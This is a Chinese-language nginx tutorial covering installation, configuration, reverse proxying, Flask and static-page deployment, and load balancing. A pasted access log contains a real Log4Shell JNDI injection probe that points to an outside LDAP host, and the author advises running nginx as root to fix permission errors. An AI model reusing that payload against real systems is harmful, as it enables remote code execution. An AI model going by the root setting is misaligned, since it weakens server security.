nginx从入门到实践-基础篇

928 阅读6分钟

Web网站的构成和页面渲染

爬虫与反爬虫的较量总是围绕着Web网站展开,爬虫的主要目的是获取Web网站中的内容。开发者想要限制爬虫获取数据,就需要了解HTML从文档变成内容丰富的页面所要经历的每个阶段。例如网络请求、资源匹配、数据传输和页面渲染。因此在学习爬虫之前,我们需要先了解web网站的构成和页面渲染过程的相关知识。

web网站由服务端与客户端组成,服务器主要负责为客户端提供文件资源的提取与数据的保存服务,而客户端则是将服务器的资源转化为用户可读的内容。服务器端与客户端之间的信息交互需要通过网络进行传输,而网络传输会根据对应的网络协议进行。如果客户端与服务端要进行通信,两者需要使用相同的网络协议。

nginx 服务器

Web网站的功能由编程语言来实现,编程语言专注的是功能实现,资源的映射与连接处理是由服务器软件完成。常见的服务器主要有Apache、nginx和Tomcat等,接下来我们就对nginx来增进对服务器的了解。

nginx是一个HTTP和反向代理服务器,同时也是邮件代理服务器和通用的TCP/UDP代理服务器。它具有模块化设计,可拓展、低内存消耗、支持热部署等优秀特性,所以非常多的web应用将其作为服务器软件。

nginx有一个主进程和若干工作进程,其中主进程用于读取和评估配置并维护工作进程,工作进程会对请求进行实际处理。nginx采用基于事件的模型和依赖于操作系统的机制,有效的工作进程之间分发请求。工作进程数在配置文件中进行定义,可以设定具体数值或使用默认选项。

nginx有一个主进程和多个工作进程,主进程主要用于维护自身运转,例如读取配置、维护工作进程、重新载入配置等,工作进程是具体响应请求的进程。nginx的工作进程数是确定的,并不是说来一个任务才开启一个进程,它的工作进程数可以在配置文件中更改。

快速安装nginx

你都学到nginx了,这里强烈建议大家一定要去购买云服务器来操作,我这里使用的是Centos7.6版本的Linux操作系统。

连接云服务器的终端,输入下面的命令即可安装nginx。

yum install nginx

安装完毕之后,在你的浏览器访问服务器的IP地址即可。

nginx 信号

信号是控制nginx工作状态的模块,信号语法格式为:

nginx -s signal

常用的信号有:

stop	快速关停
quit	正常关停
reload	重新载入配置
reopen	重新打开日志文件

nginx的正确关停,是nginx -s quit,它可以让nginx处理完已经开始的的工作再退出。

nginx配置说明

nginx有主配置文件和辅助配置文件,主配置文件默认名称是nginx.conf,默认存放在/etc/nginx/nginx.conf。辅助配置的文件名称和路径都可以更改,文件名称通常以conf结尾。

通过status找到nginx的Server配置文件

systemctl status nginx
[Unit]
Description=The nginx HTTP and reverse proxy server
After=network-online.target remote-fs.target nss-lookup.target
Wants=network-online.target

[Service]
Type=forking
PIDFile=/run/nginx.pid
# Nginx will fail to start if /run/nginx.pid already exists but has the wrong
# SELinux context. This might happen when running `nginx -t` from the cmdline.
# https://bugzilla.redhat.com/show_bug.cgi?id=1268621
ExecStartPre=/usr/bin/rm -f /run/nginx.pid
ExecStartPre=/usr/sbin/nginx -t
ExecStart=/usr/sbin/nginx
ExecReload=/usr/sbin/nginx -s reload
KillSignal=SIGQUIT
TimeoutStopSec=5
KillMode=process
PrivateTmp=true

[Install]
WantedBy=multi-user.target

查找主配置文件

[root@VM-8-9-centos ~]# find / -name nginx.conf
/etc/nginx/nginx.conf

主配置文件基本结构和作用

user nginx;	# 用户
worker_processes auto;	# 进程数
error_log /var/log/nginx/error.log;		# 错误日志
pid /run/nginx.pid;	# 进程文件

# Load dynamic modules. See /usr/share/doc/nginx/README.dynamic.
include /usr/share/nginx/modules/*.conf;	# 插件模块配置

events {
    worker_connections 1024;	# 允许同时连接的连接数
}

http {
    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';

    access_log  /var/log/nginx/access.log  main;	# 日志文件

    sendfile            on;
    tcp_nopush          on;
    tcp_nodelay         on;
    keepalive_timeout   65;
    types_hash_max_size 4096;

    include             /etc/nginx/mime.types;
    default_type        application/octet-stream;

    # Load modular configuration files from the /etc/nginx/conf.d directory.
    # See http://nginx.org/en/docs/ngx_core_module.html#include
    # for more information.
    include /etc/nginx/conf.d/*.conf;	# 辅助配置文件

    server {
        listen       80;
        listen       [::]:80;
        server_name  _;
        root         /usr/share/nginx/html;

        # Load configuration files for the default server block.
        include /etc/nginx/default.d/*.conf;

        error_page 404 /404.html;
        location = /404.html {
        }

        error_page 500 502 503 504 /50x.html;
        location = /50x.html {
        }
    }

# Settings for a TLS enabled server.
#
#    server {
#        listen       443 ssl http2;
#        listen       [::]:443 ssl http2;
#        server_name  _;
#        root         /usr/share/nginx/html;
#
#        ssl_certificate "/etc/pki/nginx/server.crt";
#        ssl_certificate_key "/etc/pki/nginx/private/server.key";
#        ssl_session_cache shared:SSL:1m;
#        ssl_session_timeout  10m;
#        ssl_ciphers HIGH:!aNULL:!MD5;
#        ssl_prefer_server_ciphers on;
#
#        # Load configuration files for the default server block.
#        include /etc/nginx/default.d/*.conf;
#
#        error_page 404 /404.html;
#            location = /40x.html {
#        }
#
#        error_page 500 502 503 504 /50x.html;
#            location = /50x.html {
#        }
#    }

通过命令

nginx的工作进程数等于CPU的数量+1

反向代理

一图胜千言。

反向代理服务器一般都是用于大型互联网公司中,中小型公司也应该会使用。从上图可以看出客户端发出请求,想要获取Server服务器上的内容,但请求将被先发送到代理服务器proxy,这个代理服务器把请求代理到和自己属于同一个LAN上的内部服务器上,而服务器,即向外部客户端提供一个统一的代理入口,客户端发出请求都会先通过这个代理服务器,至于内网是访问哪台服务器,由proxy去控制。

为什么使用反向代理

1、安全及权限

使用反向代理服务器之后,用户端无法直接通过请求访问真正的服务器。

2、负载均衡

例如一个网站的内容被部署到若干台服务器上,可以把这些机子看作是集群,那么nginx把收到的请求平均分配到每个不同的服务器上,不会造成一个服务器的压力过大,这就实现了负载均衡。

正向代理

正向代理应该就会比反向代理要好理解很多,其实大家所使用的翻墙工具就是一个正向代理工具。它会把访问墙外服务器Server的网页请求,代理到一个可以访问该网站的代理服务器proxy,这个代理服务器proxy会把墙外服务器Server上的网页内容获取,再转发给客户。

nginx配置文件的基础语法

nginx配置文件中的配置项成为指令,指令分为简单指令和块指令。简单的指令由指令名称和参数组成,以空格进行分隔并以英文符号结尾,例如:

worker_processes auto;

worker_processes:指令名称,作用是设置工作进程数

auto:命令参数,表示进程数量,可以是数字也可以是auto(根据CPU数量固定数学公式计算,一般是CPU+1)。

块指令语法格式与简单指令类似,单以花括号包裹更多的简单指令,例如:

http {
	server{
		...
	}
}

上下文

上下文也称为语境,如果块指令包含其他指令,则这个指令称为上下文。常见的上下文例如:

envents
http
server
location

有一个隐藏的上下文指令,main,它不需要显示声明,所有指令的最外层就是main的范围。main作为其他上下文的参考,例如events和http必须在main范围中,server必须在http中;location必须在server中。

部署flask到服务器运行

flask代码,如下:

from flask import Flask
from flask_restful import Resource, Api


app = Flask(__name__)
api = Api(app)


class HelloWord(Resource):
    def get(self):
        app.logger.info('receive a request, and response 剑南的编程之路')
        return {'message': '剑南的编程之路', 'address': 'https://www.kenshujun.cn'}

api.add_resource(HelloWord, '/')

if __name__ == '__main__':
    app.run(debug=True, port=5000, host='0.0.0.0')

app.run(debug=True, port=6789, host='0.0.0.0')

这一行代码是需要注意的,因为是放在服务器上运行,需要客户端可以正常的访问,因此在生产环境下运行这段代码,需要将host和debug进行更改。在浏览器中输入服务器的IP地址加端口号即可获取响应。

注意:如果还是无法访问的话,可能的原因就是没有打开防火墙的端口,添加安全规则即可。

但是这种部署的方式是不安全的,暴露了真正服务器的端口信息。

在服务器启动之后,可以通过配置nginx实现反向代理。在辅助配置文件的目录新增配置文件。

> vim /etc/nginx/conf.d/fls.conf
server {
        listen 8888;
        server_name localhost;

        location / {
                proxy_pass http://localhost:5000;
        }
}

检查语法是否正确

> nginx -t
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful

出现上面所展示的结果,则说明配置成功。

重新载入配置

nginx -s reload

浏览器访问http://ip:port,例如我的服务器http://119.91.75.14:8888/

查看nginx日志文件

> cat /var/log/nginx/access.log

107.189.29.181 - - [19/Dec/2021:21:38:58 +0800] "GET / HTTP/1.1" 200 4833 "-" "${jndi:ldap://179.43.175.101:1389/jedmdg}" "-"
209.141.50.223 - - [19/Dec/2021:21:45:04 +0800] "GET /config/getuser?index=0 HTTP/1.1" 404 3650 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0" "-"
121.33.147.185 - - [19/Dec/2021:21:50:50 +0800] "GET / HTTP/1.1" 200 107 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0" "-"

部署静态页面

静态页面的HTML代码如下:

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>静态页面(kenshujun.com)</title>
</head>
<body>

<h1>我的第一个标题</h1>
<p>我的第一个段落。</p>

</body>
</html>

接下来在辅助配置下编写配置文件

server {
        listen 9999;
        server_name loaclhost;
        charset utf-8;

        location / {
                root /root;
                index index.html index.htm;
        }
}

和前面相同,写完配置文件之后进行检查以及重载。

如果访问时出现403错误,那就是权限不够,需要去主配置文件修改权限。

vim /etc/nginx/nginx.conf
user root;	# 修改为root
worker_processes auto;
error_log /var/log/nginx/error.log;
pid /run/nginx.pid;

接下来便可以访问http://ip:port

基于nginx实现负载均衡

想象一个场景,例如现在你的服务器上的后端服务主要用于格式化时间,有很多爬虫程序需要调用它,而且还需要确保服务的稳定可行。

场景延申:假设你有一个JS算法,现在所有爬虫都需要在发出请求前调用这个算法,生成sign值,带着值去请求。如果你把JS代码放在python/golang这类代码里做本地调试执行,那么你改动算法时需要重新部署所有的爬虫程序,但是做成web服务,只需要重启web服务即可。

一个后端服务有两个明显的缺点

1、服务性能不够。请求太多会导致程序卡顿,响应速度慢,影响整体效率;

2、服务整体不稳定,一旦进程退出或者服务器死机,那么服务将不可访问。

使用负载均衡的好处

1、启动多个后端服务,配置负载均衡,让请求按需(例如轮流)转发到它们那里进行处理,那么就能够承担更多的工作需求。

2、一个nginx负载多个后端服务,当一个服务或者几个服务出现进程退出的情况,还有其他服务在工作。

实现负载均衡

nginx只需要引入proxy_pass指令和upstream上下文即可实现负载均衡。一个简单的负载均衡配置如下:

upstream backend{
        server localhost:5000;
        server localhost:6000;
}
server {
        listen 8888;
        server_name localhost;

        location / {
                proxy_pass http://backend;
        }
}

保存后重新载入即可。

域名解析与配置实战

打开云服务器控制台,进入域名解析(购买域名并备案),点击解析。输入子域名名称、服务器IP地址后选择保存即可。

接下来修改辅助配置文件,更改端口,绑定域名

listen 80;
server_name xx.xxx.com;